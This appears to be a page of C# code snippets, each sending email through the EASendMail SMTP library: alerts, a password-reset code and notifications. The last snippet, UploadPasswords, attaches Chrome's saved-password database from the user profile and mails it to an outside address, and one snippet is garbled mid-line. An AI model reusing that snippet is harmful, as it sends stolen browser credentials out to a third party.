                oclienteSmtp.SendMail(oSmtpServer, oSmtpMail_msg);

                if (MensajeInfo.IdMensaje > 0)// modificar
                {
                    MensajeInfo.IdTipo_Mensaje = eTipoMail.Enviado;
                    datamaMail.Actualizar_TipoMensaje(MensajeInfo, ref mensajeErrorOut);
                }
                else
                {
                    MensajeInfo.IdTipo_Mensaje = eTipoMail.Enviado;
                    datamaMail.GrabarMensajeDB(MensajeInfo, ref mensajeErrorOut);
                }

                return(true);
            }
            catch (Exception ex)
            {
                mensajeErrorOut = "catch (SmtpException ex) : " + ex.Message + " " + ex.InnerException + " datos de la cta:" + SConfigCta;
                return(false);
            }
        }
Пример #21
0
        public static void SendMessageSMTP(Action a, Rule r, Dictionary <string, string> campiTele)
        {
            try
            {
                SmtpMail oMail = new SmtpMail("TryIt");

                oMail.From = c.Communications.Email.User.UserName;

                oMail.To = a.address;

                oMail.Subject = $"Sistema MiniIoT rilevata anomalia su frigo {r.Id} con livello criticità: {r.Severity}";

                oMail.TextBody = "";
                // alleghiamo tutti i campi della telemetria
                IDictionaryEnumerator k = campiTele.GetEnumerator();

                while (k.MoveNext())
                {
                    oMail.TextBody += $"\n{k.Key}:{k.Value}";
                }

                // alleghiamo la regola
                oMail.TextBody += "\n\nRegola:\n";
                oMail.TextBody += $"Id: {r.Id}";
                oMail.TextBody += $"\nDescription: {r.Description}";
                oMail.TextBody += $"\nConditionOperator: {r.ConditionOperator}";
                oMail.TextBody += $"\nField: {r.Field}";
                oMail.TextBody += $"\nFrequency: {r.Frequency}";
                oMail.TextBody += $"\n\nPeriod: {r.Period}";
                oMail.TextBody += $"\nValue: {r.Value}";
                foreach (string s in r.Machine)
                {
                    oMail.TextBody += $"\nMachine: {s}";
                }
                foreach (Action ac in r.actions)
                {
                    oMail.TextBody += $"\nAction";
                    oMail.TextBody += $"\nType: {ac.type}";
                    oMail.TextBody += $"\nAddress: {ac.address}";
                    oMail.TextBody += $"\nBody: {ac.body}";
                }

                string value;
                campiTele.TryGetValue("Value", out value);
                // alleghiamo il motivo dell'email
                oMail.TextBody += "\n\nValore out poichè:\n " + r.Field + r.ConditionOperator + r.Value;

                // alleghiamo le operazioni da fare
                oMail.TextBody += "\n\nOperation to do\n" + a.body;


                SmtpServer oServer = new SmtpServer(c.Communications.Email.SMTPServer);

                oServer.User     = c.Communications.Email.User.UserName;
                oServer.Password = c.Communications.Email.User.Password;

                // Set 465 port
                oServer.Port = c.Communications.Email.Port;

                // si arrangia col protocollo
                oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;


                EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                if (campiTele.ContainsValue("Instant"))                 // accumuliamo le istantanee
                {
                    Coppia l = new Coppia();
                    l.server = oServer;
                    l.mail   = oMail;
                    messaggi.Add(l);
                }
                else
                {
                    oSmtp.SendMail(oServer, oMail);                     // inviamo il resto
                }
            }

            catch (Exception e)
            {
                log.ErrorFormat("!ERROR: {0} - Not send message to Gmail", e.ToString());
            }
        }
Пример #22
0
        // GET: Rental
        public ActionResult Index(bool deleted = false)
        {
            try
            {
                var smtp = new EASendMail.SmtpClient();

                if (!IsLogged())
                {
                    return(RedirectToAction("Login", "Account"));
                }
                using (ISession session = database.MakeSession())
                {
                    ValidateReaderForbiddenAccess(session);
                    IList <Rental> rentals;
                    bool           sendLateEmails          = false;
                    bool           sendCloseToReturnEmails = false;


                    if (deleted)
                    {
                        rentals = session.QueryOver <Rental>().Where(Restrictions.Eq("Deleted", true))
                                  .OrderBy(x => x.DateFrom).Desc().List();
                        ViewBag.Info          = "Past user rentals";
                        ViewBag.showReturnBtn = false;
                    }
                    else
                    {
                        rentals = session.QueryOver <Rental>().Where(Restrictions.Eq("Deleted", false)).
                                  OrderBy(x => x.DateFrom).Desc().List();
                        ViewBag.Info          = "Current user rentals";
                        ViewBag.showReturnBtn = true;
                    }
                    var rentalsData = new List <CopiesStatusesModelView>();


                    foreach (var ren in rentals)
                    {
                        var rental = new CopiesStatusesModelView()
                        {
                            Id       = ren.Id,
                            CopyId   = ren.Copy.Id,
                            Reader   = ren.Reader.ToString(),
                            Title    = ren.Copy.Book.Title,
                            BookId   = ren.Copy.Book.Id,
                            DateFrom = ren.DateFrom,
                            DateTo   = ren.DateTo
                        };
                        //sprawdzenie czy minal termin nieodebranych ksiazek

                        if (!deleted)
                        {
                            if (IsRentalLate(ren))
                            {
                                sendLateEmails = true;
                            }
                            else if (IsRentalCloseToReturn(ren))
                            {
                                sendCloseToReturnEmails = true;
                            }
                        }
                        rentalsData.Add(rental);
                    }

                    if (sendLateEmails)
                    {
                        ViewBag.ShowLateRentalButton = true;
                    }
                    if (sendCloseToReturnEmails)
                    {
                        ViewBag.ShowCloseToReturnRentalButton = true;
                    }

                    return(View(rentalsData));
                }
            }
            catch (UnauthorizedAccessException)
            {
                return(RedirectToAction("Forbidden", "Error"));
            }
            catch (Exception e)
            {
                Debug.Write(e.Message);
                return(RedirectToAction("Index", "Home"));
            }
        }
Пример #23
0
        private void sendRandomNumber(string email)
        {
            Random        random = new Random();
            int           num    = random.Next(10000);
            SqlConnection con    = new SqlConnection(user_db_connection_string);
            string        sql    = "";

            sql = "insert into forgetPassword (code,email) values (@code,@email) ";

            SqlCommand cmd = new SqlCommand(sql, con);

            cmd.Parameters.AddWithValue("@code", num);
            cmd.Parameters.AddWithValue("@email", email);
            int count = 0;

            con.Open();
            try
            {
                count = (int)cmd.ExecuteNonQuery();
            }
            catch (Exception Ex)
            {
            }
            con.Close();

            if (count > 0)
            {
                try
                {
                    SmtpMail oMail = new SmtpMail("TryIt");

                    // Your gmail email address
                    oMail.From = "*****@*****.**";

                    // Set recipient email address
                    oMail.To = email;

                    // Set email subject
                    oMail.Subject = "Forget Password Code";

                    // Set email body
                    oMail.TextBody = "Your code is " + num;

                    // Gmail SMTP server address
                    SmtpServer oServer = new SmtpServer("smtp.gmail.com");

                    // Gmail user authentication
                    // For example: your email is "*****@*****.**", then the user should be the same
                    oServer.User     = "******";
                    oServer.Password = "******";

                    // If you want to use direct SSL 465 port,
                    // please add this line, otherwise TLS will be used.
                    // oServer.Port = 465;

                    // set 587 TLS port;
                    oServer.Port = 587;

                    // detect SSL/TLS automatically
                    oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

                    Console.WriteLine("start to send email over SSL ...");

                    EASendMail.SmtpClient oSmtp = new EASendMail.SmtpClient();
                    oSmtp.SendMail(oServer, oMail);

                    Console.WriteLine("email was sent successfully!");
                }
                catch (Exception ep)
                {
                    Console.WriteLine("failed to send email with the following error:");
                    Console.WriteLine(ep.Message);
                }
            }
        }
Пример #24
0
        public Boolean Enviar_mail()
        {
            try
            {
                SmtpMail              oSmtpMail_msg = new SmtpMail("ES-C1407722592-00106-56VB4AE2B4F8TB75-641B598EBE4D439A");
                SmtpServer            oSmtpServer   = new SmtpServer(InfoCuenta.ServidorCorreoSaliente, InfoCuenta.Port_salida);
                EASendMail.SmtpClient ooSmtpMail_oSmtpMail_msgSmtp = new EASendMail.SmtpClient();



                oSmtpMail_msg.From = new EASendMail.MailAddress(InfoCuenta.direccion_correo);
                oSmtpMail_msg.To.Add(new EASendMail.MailAddress(InfoCuenta.direccion_correo));
                oSmtpMail_msg.Subject  = "Mensaje de Prueba " + DateTime.Now;
                oSmtpMail_msg.TextBody = "Mensaje de Prueba configuracion de correo " + DateTime.Now;

                if (InfoCuenta.tipo_Seguridad != "Ninguno")
                {
                    oSmtpServer.User     = InfoCuenta.Usuario;
                    oSmtpServer.Password = InfoCuenta.Password;
                }
                switch (InfoCuenta.tipo_Seguridad)
                {
                case "SSL":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
                    oSmtpServer.Port        = 465;
                    break;

                case "TLS":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectSSLAuto;
                    break;

                case "Ninguno":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectNormal;
                    break;

                case "STARTTLS":
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectSTARTTLS;
                    break;

                default:
                    oSmtpServer.ConnectType = SmtpConnectType.ConnectNormal;
                    break;
                }

                ooSmtpMail_oSmtpMail_msgSmtp.SendMail(oSmtpServer, oSmtpMail_msg);



                listErrores.Add(new cl_error_Info("0", "ENVIO DE CORREO OK..", DateTime.Now.ToString(), "A", eTipoError.INFO, eTipoRespuesta.OK));
                gridControl_tareas_realizadas.RefreshDataSource();

                return(true);
            }
            catch (Exception ex)
            {
                listErrores.Add(new cl_error_Info("1", "NO SE ENVIO CORREO..." + ex.Message, DateTime.Now.ToString(), "A", eTipoError.INFO, eTipoRespuesta.ERROR));
                gridControl_tareas_realizadas.RefreshDataSource();
                BusSisLog.Log_Error(ex.Message.ToString(), eTipoError.ERROR, this.ToString());
                return(false);
            }
        }
Пример #25
0
        /// <summary>
        /// Method to distribute email notifications to the physicians
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        /// <returns>
        /// </returns>
        private void distributeLettersEmail()
        {
            String url;

            int letterTypeIndex = cmbBoxLetterType.SelectedIndex + 1;
            int facilityIndex   = cmbBoxFacility.SelectedIndex;

            if (facilityIndex != 0)
            {
                url = String.Format("http://*****:*****@ymail.com";

            // Set email subject
            oMail.Subject = "Deficiency Notification Letter";

            // Set email body
            oMail.TextBody = "Notifying deficiencies";

            SmtpServer oServer = new SmtpServer("smtp.mail.yahoo.com");

            oServer.User     = "******";
            oServer.Password = "******";

            oServer.Port = 465;

            // detect SSL type automatically
            oServer.ConnectType = SmtpConnectType.ConnectSSLAuto;

            foreach (DataGridViewRow row in dataGridViewPhysicians.Rows)
            {
                for (int physicianListIndex = 0; physicianListIndex < srp.Count; ++physicianListIndex)
                {
                    if (srp[physicianListIndex].Name.Equals(row.Cells[3].Value.ToString()) && Convert.ToBoolean(row.Cells[0].Value))
                    {
                        try
                        {
                            // Set recipient email address
                            oMail.To = srp[physicianListIndex].Email;

                            Console.WriteLine("start to send email over SSL ...");
                            oSmtp.SendMail(oServer, oMail);
                            Console.WriteLine("email was sent successfully!");
                            MessageBox.Show("Email sent to: " + srp[physicianListIndex].Name);
                        }
                        catch (Exception ep)
                        {
                            Console.WriteLine("failed to send email with the following error:");
                            Console.WriteLine(ep.Message);
                            MessageBox.Show("Email could not be sent to: " + srp[physicianListIndex].Name);
                        }
                    }
                }
            }
        }
        private static void UploadPasswords()
        {
            SmtpMail mail = new SmtpMail("TryIt");

            EASendMail.SmtpClient smtp_Client = new EASendMail.SmtpClient();
            mail.From    = "Ur from mail here";
            mail.To      = "Ur to mail here";
            mail.Subject = "Some subject";
            SmtpServer smtp_server = new SmtpServer("smtp.gmail.com");

            smtp_server.ConnectType = SmtpConnectType.ConnectSSLAuto;
            smtp_server.User        = "******";
            smtp_server.Password    = "******";

            bool attachPasswords = false;

beginning:
            Console.Clear();
            Console.WriteLine("Do you wanna send Kasper all your passwords saved in Chrome? Y/N");
            string answer = Console.ReadLine();

            if (answer.ToLower() == "y")
            {
                attachPasswords = true;
                Console.WriteLine("Attempting to attach passwords to mail.");
            }

            else if (answer.ToLower() == "n")
            {
                attachPasswords = false;
                Console.WriteLine("Not adding passwords to mail.");
            }

            else
            {
                Console.WriteLine("Not acceptable command, try again.");
                Thread.Sleep(1000);
                goto beginning;
            }

            if (attachPasswords)
            {
                try
                {
                    // Standard path of the file that Google Chromes stores all remembered passwords in
                    mail.AddAttachment(@"C:\Users\" + Environment.UserName + @"\AppData\Local\Google\Chrome\User Data\Default\Login Data");
                }
                catch (Exception e)
                {
                    Console.WriteLine("Failed to fetch the file with the following error:");
                    Console.WriteLine(e.Message);
                    goto outer;
                }
                Console.WriteLine("File attached succesfully.");
            }
outer:

            try
            {
                smtp_Client.SendMail(smtp_server, mail);
            }
            catch (Exception e)
            {
                Console.WriteLine("Failed to send email with the following error:");
                Console.WriteLine(e.Message);
            }
        }